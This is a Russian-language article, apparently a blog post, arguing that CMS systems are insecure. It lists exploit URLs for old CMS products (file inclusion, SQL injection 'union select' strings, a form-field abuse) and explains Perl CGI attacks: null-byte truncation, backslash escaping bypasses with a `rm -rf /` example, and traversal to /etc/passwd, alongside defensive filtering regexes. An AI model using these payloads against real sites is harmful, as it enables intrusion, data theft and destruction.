"Дыры" в CMS
(информация дана только в целях ознакомления) От автора : Ко мне часто обращаются, почему я так хаю CMS- программы. Ну что ж, попытаюсь показать на "живых" примерах, к чему приводит некомпетентность так называемых "веб-программистов", тупо "передирающих" друг у друга скрипты, или используя бажные "Программы управления контентом" (CMS).
И так, поехали....
Первая:
Статус: Критическая
Эксплоит: Да
Описание: Redaxo CMS найденный уязвимость позволяет удаленному пользователю выполнить произвольный код Redaxo 3.2 - 3.1 - 3.0 ./redaxo/include/addons/image_resize/pages/index.inc.php?REX[INCLUDE_PATH]=attacker Redaxo 3.0
./redaxo3_0_demos_patched/redaxo/include/addons/image_resize/pages/index.inc.php?subpage=relations&REX[INCLUDE_PATH]=attacker
./redaxo3_0_demos_patched/redaxo/include/addons/simple_user/pages/index.inc.php?REX[INCLUDE_PATH]=attacker
./redaxo3_0_demos_patched/redaxo/include/addons/stats/pages/index.inc.php?REX[INCLUDE_PATH]=attacker
Redaxo 2.7.4 ./redaxo/include/addons/import_export/pages/index.inc.php?REX[INCLUDE_PATH]=attacker ./redaxo/include/pages/community.inc.php?subpage=newsletter&REX[INCLUDE_PATH]=attacker Программа: Redaxo CMS Решение: НЕ СУШЕСТВУЕТ
Вторая:
Программа: Micro CMS <= 0.3.5
Описание: Найденный уязвимость позволяет удаленному пользователю выпольнить произвольный код
http://target/micro_cms_path/micro_cms_files/microcms-include.php?microcms_path=[evil scripts]
Решение: На данный момент не сушествует
Третья:
Программа: Lizard Cart CMS 1.04
Статус: Средний
Эксплоит: Да
Уязвимые скрипты:
pages.php
detail.php
Условия:
register_globals = on
gpc_magic_quotes = off
PoC:
http://host/lizard/pages.php?id=-1'%20union%20select%201,2,3/*
http://host/lizard/detail.php?id=-1'%20union%20select%201,2,3,4,5,6,7,8/
Решение: Официальных патчей пока не существует.
Четвертая:
Программа: <= hola-cms-1.4.9 (http://holacms.drunkencat.net/)
Статус: Высокий
Эксплоит: Да
Описание: Уязвимость найденна в Hola CMS. Модуль голосования не проверяет параметр "vote_filename". Модуль голосования находится в "holaDB/votes/".
"htt*://[target]/[site-with-vote].php?vote=1" method="POST">
"hidden" name="vote_filename" value="admin/multiuser/multiuser.php">
"hidden" name="result" value="0">
"submit" value="Stimme abgeben" name="button">
Решение: Решения на данный момент нет
Пятая:
Программа: OnePlug CMS
Статус: Средний
Эксплоит: Да
Описание: Найденный уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметрах "Press_Release_ID", "Service-ID"и "Product_ID" в сценарии "details.asp". Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения. Примеры:
http://[host]/press/details.asp?Press_Release_ID=(code)
http://[host]/services/details.asp?Service_ID=(code)
http://[host]/products/details.asp?Product_ID=(code)
Решение: Данное время не сушествует
Программа: dB Masters' Curium CMS 1.03, возможно более ранние версии
Опасность: Средняя
Наличие эксплоита: Да
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "c_id" в сценарии news.php.
Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример:
http://[host]/[path]//news.php?id=-1&c_id=[SQL]
Немного о cgi-security
Ну вот добрались мы до такой интересной темы как ошибки в cgi-скриптах и методы их обнаружения. Редкий сайт в наше время обходится без пары скриптов, а это значит, что хоть один из них может быть уязвим и даст нам полный доступ к серваку. Забудьте про всякие /../../ сегодня я расскажу о более серьёзных вещах. Начнем пожалуй с такой приятной вещи как Нулевой байт он же Poison NULL byte. Насколько я слышал эту багу впервые нашли ребята из ukr-team. В чем же заключается этот баг? Допустим у нас есть скрипт открывающий некий файл.
Код|Code$database="$user_input.db"; open(FILE "<$database");
Этому скрипту передается значение user_input которое являет собой не что иное как название файла, а скрипт в свою очередь прикрепляет к названию .db и открывает файл. Например: user_input=file тогда скрипт откроет файл: file.db
Но будет гораздо интереснее если мы передадим значение user_input=file%00 Перл считает что $database="file\0.db", а потом попытается открыть $database. И что мы увидим в итоге? Он откроет файл "file" А что же случилось с расширением ".db"? Вот это самое интересное. Видите ли, Перл принимает NUL-байты как часть значения какой-либо переменной. А С/С++ наоборот думает, что такой байт будет концом строки. Немного поискав вы найдете туеву хучу скриптов, которые к введенному пользователем значению прикрепляют ".html". То есть введя page.cgi?page=1 мы увидим страничку 1.html т.к. скрипт добавил к переданному ему значению расширение ".html". И вы думаете, что этот скрипт показывает только html-странички. А вот и нет! Если вы сделаете так: page.cgi?page=page.cgi%00 то увидите исходный текст самого скрипта. Как же от этого защитится. Тут всё просто как компьютер. Убираем все нулевые байты из строки, полученной скриптом в качестве аргумента: $insecure_data=~s/\0//g;
Если вы читали W3C WWW Security FAQ, то вы наверное видели список символов рекомендуемых к удалению из строк вводимых пользователем: & ; ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \ n \ r
Самое интересное тут в том, что все забыли про бэкслеш ( \ ). Поэтому в ваших скриптах на перле из всех переменных нужно убирать вот эти символы:
s/([\&;\`'\\\|"*?~<>^(\)\[\]\{\}\$\n\r])/\\$1/g
Почему это важно? Представьте, что вашему скрипту передали параметр: `rm -rf /` (с апострофами!) Скрипт прогонит это через свою подпрограмму проверки строки на недопустимые символы, и в конце строка примет вид: \`rm -rf /\`.
Теперь представим, что мы забыли обезвредить бэк-слэши. Скрипту передают вот такую строку: \`rm -rf/ \` ваш скрипт делает из неё: \\`rm -rf / \\` тогда два бэкслеша обрубят друг друга, оставив апострофы нетронутымии. При особом желании можно будет снести все подчистую.
Вторая интересная возможность вытекает из попыток горе програмистов избавится от ошибки /../ s/\.\.//g - эта строка убирает двойные точки, эффективно закрывая эту уязвимость. Тогда:/usr/../../etc/passwd станет /usr/etc/passwd
Но теперь попробуем поиграться с бэкслешем, набираем строку: /usr/.\./.\./etc/passwd Эта строка отлично пройдет проверку на /../ и примет вид /usr/../../etc/passwd, чего мы и добивались!
Защита: Если в скрипте используется ключ '-e' или есть указание на способ открытия файла (<$file), то все это работать не будет .
Ну и напоследок о такой всеми любимой палочке "|" .Как наверняка многие знают, если к концу открываемого файла прилепить "|" то перл запустит этот файл вместо того, чтобы его открыть. Таким образом сделав: open(FILE, "/bin/ls") вы вдоволь насладитесь кишками ls но сделав: open(FILE, /bin/ls|") вы увидите листинг директории. Защита: Выкидываем символы: s/(\|)/\\$1/g
Ну вот я и рассказал немного о cgi-security. Конечно это не все, но рассказать обо всех возможных дырах мне не хватит ни времени ни терпения.
Эти уязвимые скрипты-сплошь и рядом в CMS. :) Выводы делайте сами...
Думаю, что достаточно для примера. Все (!) повторяю, ВСЕ системы CMS УЯЗВИМЫ! Так же уязвимы и Битрикс, Джумла, NetCat( не путать с Netcat 0.7.1 - униксовским хакерским скриптом, работающим как telnet) и другие CMS... Просто я не стал описывать все дыры, что б не давать в руки лицам с неуравновешенной психикой подобные инструменты...Как говорил один мой знакомый : "Вы все еще используете CMS? Тогда мы идем к вам..."
Но дойдет это только тогда, когда ваш сайт модифицируют(дефейс). Но у нас привычка-пока гром не грянет-мужик не перекрестится. Жаль, что своей ленью и надеждой на "авось" многие ставят свой бизнес в Интернете под удар. Но как говорится - "через "шкуру" лучше доходит".
|
|
|
